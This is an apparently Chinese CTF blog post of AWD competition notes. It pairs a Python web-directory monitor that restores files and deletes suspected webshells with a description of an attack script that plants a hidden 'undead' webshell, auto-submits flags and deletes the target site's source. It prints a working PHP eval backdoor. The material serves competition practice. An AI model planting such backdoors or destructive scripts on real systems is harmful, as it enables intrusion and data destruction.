



<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#FFF">
  <link rel="apple-touch-icon" sizes="180x180" href="/imageshttps:/cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main/blog-img/7b8cfd64db3c412194fc64cb710e594b.jpeg">

<link rel="icon" type="image/ico" sizes="32x32" href="/images/favicon.ico">
  <meta http-equiv="Cache-Control" content="no-transform">
  <meta http-equiv="Cache-Control" content="no-siteapp">


<link rel="alternate" type="application/rss+xml" title="Canary's Blog" href="https://zephyr-cyber.github.io.git/rss.xml" />
<link rel="alternate" type="application/atom+xml" title="Canary's Blog" href="https://zephyr-cyber.github.io.git/atom.xml" />
<link rel="alternate" type="application/json" title="Canary's Blog" href="https://zephyr-cyber.github.io.git/feed.json" />
<link rel="alternate" type="application/json" title="Canary's Blog" href="https://cdn.jsdelivr.net/npm/font-awesome/css/font-awesome.min.css" />
<script src="/js/live2d-widget/autoload.js?v=0.2.5"></script>

<link rel="stylesheet" href="//fonts.googleapis.com/css?family=Mulish:300,300italic,400,400italic,700,700italic%7CFredericka%20the%20Great:300,300italic,400,400italic,700,700italic%7CNoto%20Serif%20JP:300,300italic,400,400italic,700,700italic%7CNoto%20Serif%20SC:300,300italic,400,400italic,700,700italic%7CInconsolata:300,300italic,400,400italic,700,700italic&display=swap&subset=latin,latin-ext">

<link rel="stylesheet" href="/css/app.css?v=0.2.5">

  
  <meta name="keywords" content="CTF" />


<link rel="canonical" href="https://zephyr-cyber.github.io.git/AWD/">



  <title>
AWD 脚本和加固命令 - computer-science |
Canary = Canary's Blog</title>
<meta name="generator" content="Hexo 5.4.0"></head>
<body itemscope itemtype="http://schema.org/WebPage">
  <div id="loading">
    <div class="cat">
      <div class="body"></div>
      <div class="head">
        <div class="face"></div>
      </div>
      <div class="foot">
        <div class="tummy-end"></div>
        <div class="bottom"></div>
        <div class="legs left"></div>
        <div class="legs right"></div>
      </div>
      <div class="paw">
        <div class="hands left"></div>
        <div class="hands right"></div>
      </div>
    </div>
  </div>
  <div id="container">
    <header id="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="inner">
        <div id="brand">
          <div class="pjax">
          
  <h1 itemprop="name headline">AWD 脚本和加固命令
  </h1>
  
<div class="meta">
  <span class="item" title="Created: 2021-12-20 10:44:24">
    <span class="icon">
      <i class="ic i-calendar"></i>
    </span>
    <span class="text">Posted on</span>
    <time itemprop="dateCreated datePublished" datetime="2021-12-20T10:44:24+08:00">2021-12-20</time>
  </span>
  <span class="item" title="Symbols count in article">
    <span class="icon">
      <i class="ic i-pen"></i>
    </span>
    <span class="text">Symbols count in article</span>
    <span>8.1k</span>
    <span class="text">words</span>
  </span>
  <span class="item" title="Reading time">
    <span class="icon">
      <i class="ic i-clock"></i>
    </span>
    <span class="text">Reading time</span>
    <span>7 mins.</span>
  </span>
</div>


          </div>
        </div>
        <nav id="nav">
  <div class="inner">
    <div class="toggle">
      <div class="lines" aria-label="Toggle navigation bar">
        <span class="line"></span>
        <span class="line"></span>
        <span class="line"></span>
      </div>
    </div>
    <ul class="menu">
      <li class="item title"><a href="/" rel="start">Canary</a></li>
    </ul>
    <ul class="right">
      <li class="item theme">
        <i class="ic i-sun"></i>
      </li>
      <li class="item search">
        <i class="ic i-search"></i>
      </li>
    </ul>
  </div>
</nav>

      </div>
      <div id="imgs" class="pjax">
        <ul>
          <li class="item" data-background-image="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/54066-projectSEKAI-YoisakiKanade-PC-Wallpaper.jpg"></li>
          <li class="item" data-background-image="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/54233-BanG_Dream-WakamiyaEve-PC-Wallpaper.jpg"></li>
          <li class="item" data-background-image="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/54167-BanG_Dream-MinatoYukina-PC-Wallpaper.jpg"></li>
          <li class="item" data-background-image="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/46256-imoimo-PC-Wallpaper.jpg"></li>
          <li class="item" data-background-image="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/pic4.jpg"></li>
          <li class="item" data-background-image="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/pic7.jpg"></li>
        </ul>
      </div>
    </header>
    <div id="waves">
      <svg class="waves" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 24 150 28" preserveAspectRatio="none" shape-rendering="auto">
        <defs>
          <path id="gentle-wave" d="M-160 44c30 0 58-18 88-18s 58 18 88 18 58-18 88-18 58 18 88 18 v44h-352z" />
        </defs>
        <g class="parallax">
          <use xlink:href="#gentle-wave" x="48" y="0" />
          <use xlink:href="#gentle-wave" x="48" y="3" />
          <use xlink:href="#gentle-wave" x="48" y="5" />
          <use xlink:href="#gentle-wave" x="48" y="7" />
        </g>
      </svg>
    </div>
    <main>
      <div class="inner">
        <div id="main" class="pjax">
          
  <div class="article wrap">
    
<div class="breadcrumb" itemscope itemtype="https://schema.org/BreadcrumbList">
<i class="ic i-home"></i>
<span><a href="/">Home</a></span><i class="ic i-angle-right"></i>
<span  class="current" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem"><a href="/categories/computer-science/" itemprop="item" rel="index" title="In computer-science"><span itemprop="name">computer-science</span></a>
<meta itemprop="position" content="1" /></span>
</div>

    <article itemscope itemtype="http://schema.org/Article" class="post block" lang="en">
  <link itemprop="mainEntityOfPage" href="https://zephyr-cyber.github.io.git/AWD/">

  <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
    <meta itemprop="image" content="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/16f8bec9f7fbb60bf0c3a1d2fa12affd.jpeg">
    <meta itemprop="name" content="cheuncey Zhang">
    <meta itemprop="description" content="我用回忆温暖了想你的每一刻, 刻意练习">
  </span>

  <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
    <meta itemprop="name" content="Canary's Blog">
  </span>

  <div class="body md" itemprop="articleBody">
    

    <ol>
<li>给的是 ctf 低权限账号，但是中间件运行的是 www-data 权限，通常比 ctf 权限高，有些马用 ssh 上去删不掉，可以先传个自己的 shell 然后去删，当然得做一个防止被偷家的措施，比如说加一个 if ('xxx'===md5 (key)) 的操作。也可以用 www-data 去对文件和目录做权限的修改等操作。</li>
<li>黑吃黑，直接用别的队伍上传的 shell。</li>
<li>不是特别大型的比赛没有那么多的时间去审漏洞，通常用 nday 直接打，或者内置的 shell 后门。</li>
<li>批量拿 flag 并自动提交平台；自动备份与恢复自己的靶机文件。网上找的确实不会用</li>
</ol>
<h1 id="awd线下赛防守脚本"><a class="anchor" href="#awd线下赛防守脚本">#</a> AWD 线下赛防守脚本：</h1>
<p>1. 该脚本基于 python，可直接在 linux 靶机上运行。</p>
<p>2. 开局直接运行起来，会自动对 web 目录进行备份，并建立 hash 索引。当 web 目录下有文件被删除或者被篡改的时候，会自动从备份中恢复文件。如果存在其他文件上传，会自动删除。</p>
<p>3. 无法避免的缺点：由于条件竞争，如果对方在我们删除 shell 之前就已经在内存中开始生成不死马了，还是有一定几率沦陷。</p>
<figure class="highlight python"><figcaption data-lang="python"></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token operator">-</span><span class="token operator">*</span><span class="token operator">-</span> coding<span class="token punctuation">:</span> utf<span class="token operator">-</span><span class="token number">8</span> <span class="token operator">-</span><span class="token operator">*</span><span class="token operator">-</span><span class="token comment">#</span></pre></td></tr><tr><td data-num="2"></td><td><pre>awd文件监控脚本</pre></td></tr><tr><td data-num="3"></td><td><pre></pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token keyword">import</span> os</pre></td></tr><tr><td data-num="5"></td><td><pre><span class="token keyword">import</span> json</pre></td></tr><tr><td data-num="6"></td><td><pre><span class="token keyword">import</span> time</pre></td></tr><tr><td data-num="7"></td><td><pre><span class="token keyword">import</span> hashlib</pre></td></tr><tr><td data-num="8"></td><td><pre></pre></td></tr><tr><td data-num="9"></td><td><pre></pre></td></tr><tr><td data-num="10"></td><td><pre></pre></td></tr><tr><td data-num="11"></td><td><pre></pre></td></tr><tr><td data-num="12"></td><td><pre><span class="token keyword">def</span> <span class="token function">ListDir</span><span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token comment"># 获取网站所有文件</span></pre></td></tr><tr><td data-num="13"></td><td><pre></pre></td></tr><tr><td data-num="14"></td><td><pre><span class="token keyword">for</span> <span class="token builtin">file</span> <span class="token keyword">in</span> os<span class="token punctuation">.</span>listdir<span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="15"></td><td><pre>file_path <span class="token operator">=</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>join<span class="token punctuation">(</span>path<span class="token punctuation">,</span> <span class="token builtin">file</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="16"></td><td><pre><span class="token keyword">if</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>isdir<span class="token punctuation">(</span>file_path<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="17"></td><td><pre><span class="token keyword">if</span> initialization<span class="token punctuation">[</span><span class="token string">'ok'</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string">'false'</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="18"></td><td><pre>dir_list<span class="token punctuation">.</span>append<span class="token punctuation">(</span>file_path<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="19"></td><td><pre><span class="token keyword">else</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="20"></td><td><pre>dir_list_tmp<span class="token punctuation">.</span>append<span class="token punctuation">(</span>file_path<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="21"></td><td><pre>ListDir<span class="token punctuation">(</span>file_path<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="22"></td><td><pre><span class="token keyword">else</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="23"></td><td><pre><span class="token keyword">if</span> initialization<span class="token punctuation">[</span><span class="token string">'ok'</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string">'false'</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="24"></td><td><pre>file_list<span class="token punctuation">.</span>append<span class="token punctuation">(</span>file_path<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="25"></td><td><pre><span class="token keyword">else</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="26"></td><td><pre>file_list_tmp<span class="token punctuation">.</span>append<span class="token punctuation">(</span>file_path<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="27"></td><td><pre></pre></td></tr><tr><td data-num="28"></td><td><pre></pre></td></tr><tr><td data-num="29"></td><td><pre><span class="token keyword">def</span> <span class="token function">GetHash</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token comment"># 获取 hash，建立索引</span></pre></td></tr><tr><td data-num="30"></td><td><pre><span class="token keyword">for</span> bak <span class="token keyword">in</span> file_list<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="31"></td><td><pre><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span>bak<span class="token punctuation">,</span> <span class="token string">'rb'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="32"></td><td><pre>md5obj <span class="token operator">=</span> hashlib<span class="token punctuation">.</span>md5<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="33"></td><td><pre>md5obj<span class="token punctuation">.</span>update<span class="token punctuation">(</span>f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="34"></td><td><pre><span class="token builtin">hash</span> <span class="token operator">=</span> md5obj<span class="token punctuation">.</span>hexdigest<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="35"></td><td><pre>bak_dict<span class="token punctuation">[</span>bak<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">hash</span></pre></td></tr><tr><td data-num="36"></td><td><pre><span class="token keyword">if</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>exists<span class="token punctuation">(</span><span class="token string">'/tmp/awd_web_hash.txt'</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token boolean">False</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="37"></td><td><pre>os<span class="token punctuation">.</span>system<span class="token punctuation">(</span><span class="token string">'mkdir /tmp/awd_web_bak/'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="38"></td><td><pre>os<span class="token punctuation">.</span>system<span class="token punctuation">(</span><span class="token string">'\\cp -a &#123;0&#125;* /tmp/awd_web_bak/'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>web_dir<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="39"></td><td><pre><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'/tmp/awd_web_hash.txt'</span><span class="token punctuation">,</span> <span class="token string">'w'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span> <span class="token comment"># 记录 web 文件 hash</span></pre></td></tr><tr><td data-num="40"></td><td><pre>f<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>json<span class="token punctuation">.</span>dumps<span class="token punctuation">(</span>bak_dict<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="41"></td><td><pre><span class="token keyword">for</span> i <span class="token keyword">in</span> file_list<span class="token punctuation">:</span> <span class="token comment"># 记录 web 文件列表</span></pre></td></tr><tr><td data-num="42"></td><td><pre><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'/tmp/awd_web_list.txt'</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="43"></td><td><pre>f<span class="token punctuation">.</span>write<span class="token punctuation">(</span>i <span class="token string">'\n'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="44"></td><td><pre><span class="token keyword">for</span> i <span class="token keyword">in</span> dir_list<span class="token punctuation">:</span> <span class="token comment"># 记录 web 目录列表</span></pre></td></tr><tr><td data-num="45"></td><td><pre><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'/tmp/awd_web_dir.txt'</span><span class="token punctuation">,</span> <span class="token string">'a'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="46"></td><td><pre>f<span class="token punctuation">.</span>write<span class="token punctuation">(</span>i <span class="token string">'\n'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="47"></td><td><pre></pre></td></tr><tr><td data-num="48"></td><td><pre></pre></td></tr><tr><td data-num="49"></td><td><pre><span class="token keyword">def</span> <span class="token function">FileMonitor</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token comment"># 文件监控</span></pre></td></tr><tr><td data-num="50"></td><td><pre></pre></td></tr><tr><td data-num="51"></td><td><pre><span class="token comment"># 提取当前 web 目录状态</span></pre></td></tr><tr><td data-num="52"></td><td><pre></pre></td></tr><tr><td data-num="53"></td><td><pre>initialization<span class="token punctuation">[</span><span class="token string">'ok'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">'true'</span></pre></td></tr><tr><td data-num="54"></td><td><pre><span class="token keyword">for</span> <span class="token builtin">file</span> <span class="token keyword">in</span> os<span class="token punctuation">.</span>listdir<span class="token punctuation">(</span>web_dir<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="55"></td><td><pre>file_path <span class="token operator">=</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>join<span class="token punctuation">(</span>web_dir<span class="token punctuation">,</span> <span class="token builtin">file</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="56"></td><td><pre><span class="token keyword">if</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>isdir<span class="token punctuation">(</span>file_path<span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="57"></td><td><pre>dir_list_tmp<span class="token punctuation">.</span>append<span class="token punctuation">(</span>file_path<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="58"></td><td><pre>ListDir<span class="token punctuation">(</span>file_path<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="59"></td><td><pre><span class="token keyword">else</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="60"></td><td><pre>file_list_tmp<span class="token punctuation">.</span>append<span class="token punctuation">(</span>file_path<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="61"></td><td><pre><span class="token keyword">for</span> <span class="token builtin">file</span> <span class="token keyword">in</span> file_list_tmp<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="62"></td><td><pre><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token builtin">file</span><span class="token punctuation">,</span> <span class="token string">'rb'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="63"></td><td><pre>md5obj <span class="token operator">=</span> hashlib<span class="token punctuation">.</span>md5<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="64"></td><td><pre>md5obj<span class="token punctuation">.</span>update<span class="token punctuation">(</span>f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="65"></td><td><pre><span class="token builtin">hash</span> <span class="token operator">=</span> md5obj<span class="token punctuation">.</span>hexdigest<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="66"></td><td><pre>bak_dict_tmp<span class="token punctuation">[</span><span class="token builtin">file</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token builtin">hash</span></pre></td></tr><tr><td data-num="67"></td><td><pre><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'/tmp/awd_web_hash.txt'</span><span class="token punctuation">,</span> <span class="token string">'r'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span> <span class="token comment"># 读取备份的文件 hash</span></pre></td></tr><tr><td data-num="68"></td><td><pre>real_bak_dict <span class="token operator">=</span> json<span class="token punctuation">.</span>loads<span class="token punctuation">(</span>f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="69"></td><td><pre><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'/tmp/awd_web_list.txt'</span><span class="token punctuation">,</span> <span class="token string">'r'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span> <span class="token comment"># 读取备份的文件列表</span></pre></td></tr><tr><td data-num="70"></td><td><pre>real_file_list <span class="token operator">=</span> f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="71"></td><td><pre><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'/tmp/awd_web_dir.txt'</span><span class="token punctuation">,</span> <span class="token string">'r'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span> <span class="token comment"># 读取备份的目录列表</span></pre></td></tr><tr><td data-num="72"></td><td><pre>real_dir_list <span class="token operator">=</span> f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="73"></td><td><pre></pre></td></tr><tr><td data-num="74"></td><td><pre><span class="token keyword">for</span> <span class="token builtin">dir</span> <span class="token keyword">in</span> real_dir_list<span class="token punctuation">:</span> <span class="token comment"># 恢复 web 目录</span></pre></td></tr><tr><td data-num="75"></td><td><pre><span class="token keyword">try</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="76"></td><td><pre>os<span class="token punctuation">.</span>makedirs<span class="token punctuation">(</span><span class="token builtin">dir</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="77"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'[del-recover]dir:&#123;&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span><span class="token builtin">dir</span><span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="78"></td><td><pre><span class="token keyword">except</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="79"></td><td><pre><span class="token keyword">pass</span></pre></td></tr><tr><td data-num="80"></td><td><pre></pre></td></tr><tr><td data-num="81"></td><td><pre><span class="token keyword">for</span> <span class="token builtin">file</span> <span class="token keyword">in</span> file_list_tmp<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="82"></td><td><pre><span class="token keyword">try</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="83"></td><td><pre><span class="token keyword">if</span> real_bak_dict<span class="token punctuation">[</span><span class="token builtin">file</span><span class="token punctuation">]</span> <span class="token operator">!=</span> bak_dict_tmp<span class="token punctuation">[</span><span class="token builtin">file</span><span class="token punctuation">]</span><span class="token punctuation">:</span> <span class="token comment"># 检测被篡改的文件，自动恢复</span></pre></td></tr><tr><td data-num="84"></td><td><pre>os<span class="token punctuation">.</span>system<span class="token punctuation">(</span><span class="token string">'\\cp &#123;0&#125; &#123;1&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span><span class="token builtin">file</span><span class="token punctuation">.</span>replace<span class="token punctuation">(</span>web_dir<span class="token punctuation">,</span> <span class="token string">'/tmp/awd_web_bak/'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">file</span><span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="85"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'[modify-recover]file:&#123;&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span><span class="token builtin">file</span><span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="86"></td><td><pre><span class="token keyword">except</span><span class="token punctuation">:</span> <span class="token comment"># 检测新增的文件，自动删除</span></pre></td></tr><tr><td data-num="87"></td><td><pre>os<span class="token punctuation">.</span>system<span class="token punctuation">(</span><span class="token string">'rm -rf &#123;0&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span><span class="token builtin">file</span><span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="88"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'[delete]webshell:&#123;0&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span><span class="token builtin">file</span><span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="89"></td><td><pre></pre></td></tr><tr><td data-num="90"></td><td><pre><span class="token keyword">for</span> real_file <span class="token keyword">in</span> real_file_list<span class="token punctuation">:</span> <span class="token comment"># 检测被删除的文件，自动恢复</span></pre></td></tr><tr><td data-num="91"></td><td><pre><span class="token keyword">if</span> real_file <span class="token keyword">not</span> <span class="token keyword">in</span> file_list_tmp<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="92"></td><td><pre>os<span class="token punctuation">.</span>system<span class="token punctuation">(</span><span class="token string">'\\cp &#123;0&#125; &#123;1&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>real_file<span class="token punctuation">.</span>replace<span class="token punctuation">(</span>web_dir<span class="token punctuation">,</span> <span class="token string">'/tmp/awd_web_bak/'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> real_file<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="93"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'[del-recover]file:&#123;0&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>real_file<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="94"></td><td><pre>file_list_tmp<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="95"></td><td><pre>dir_list_tmp<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="96"></td><td><pre></pre></td></tr><tr><td data-num="97"></td><td><pre></pre></td></tr><tr><td data-num="98"></td><td><pre>os<span class="token punctuation">.</span>system<span class="token punctuation">(</span><span class="token string">'rm -rf /tmp/awd_web_hash.txt /tmp/awd_web_list.txt /tmp/awd_web_dir.txt /tmp/awd_web_bak/'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="99"></td><td><pre>web_dir <span class="token operator">=</span> <span class="token string">'/var/www/'</span> <span class="token comment"># web 目录，注意最后要加斜杠</span></pre></td></tr><tr><td data-num="100"></td><td><pre>file_list <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="101"></td><td><pre>dir_list <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="102"></td><td><pre>bak_dict <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="103"></td><td><pre>file_list_tmp <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="104"></td><td><pre>dir_list_tmp <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="105"></td><td><pre>bak_dict_tmp <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="106"></td><td><pre>initialization <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">'ok'</span><span class="token punctuation">:</span> <span class="token string">'false'</span><span class="token punctuation">&#125;</span></pre></td></tr><tr><td data-num="107"></td><td><pre>ListDir<span class="token punctuation">(</span>web_dir<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="108"></td><td><pre>GetHash<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="109"></td><td><pre><span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="110"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>time<span class="token punctuation">.</span>ctime<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token string">' 安全'</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="111"></td><td><pre>FileMonitor<span class="token punctuation">(</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="112"></td><td><pre>time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token comment"># 监控间隔，按需修改</span></pre></td></tr></table></figure><h1 id="awd线下赛攻击脚本"><a class="anchor" href="#awd线下赛攻击脚本">#</a> AWD 线下赛攻击脚本：</h1>
<p>（1）内存马 &amp; 自动获取刷新的 flag</p>
<p>该脚本功能：</p>
<p>1. 该脚本为内存脚本，访问一下就自删除，不留痕迹。</p>
<p>2. 自动读取 flag，并将 flag 提交到指定地址，会自动检测是否更新 flag，只有更新了 flag 才会提交，需要在脚本中修改 flag 物理路径。</p>
<p>3. 会生成不死马，不死马具有隐藏和欺骗功能。用蚁剑访问 http://xxx/.c403d59fea33113df44d465aeec336ab.php?key=ssr2021shuoshurenmd5，密码为 a。</p>
<p>木马原始代码如下（只要别人不知道 key，就没办法黑吃黑）：</p>
<p><code>&lt;?php $key=$_GET['key'];$keyhash=md5($key);if($keyhash==='c403d59fea33113df44d465aeec336ab') &#123;    eval($_POST['a']);&#125;echo'file not find.';?&gt;</code></p>
<p>这个只作为备用连接，flag 正常自己提交过来的话就不用管。</p>
<p>4. 该脚本会不断删除目标的网站源码，别人扣分等于我们加分。</p>
<p>5. 脚本命名必须为 awd2021.php，若要修改的话需要同步修改下面代码中的文件名。</p>
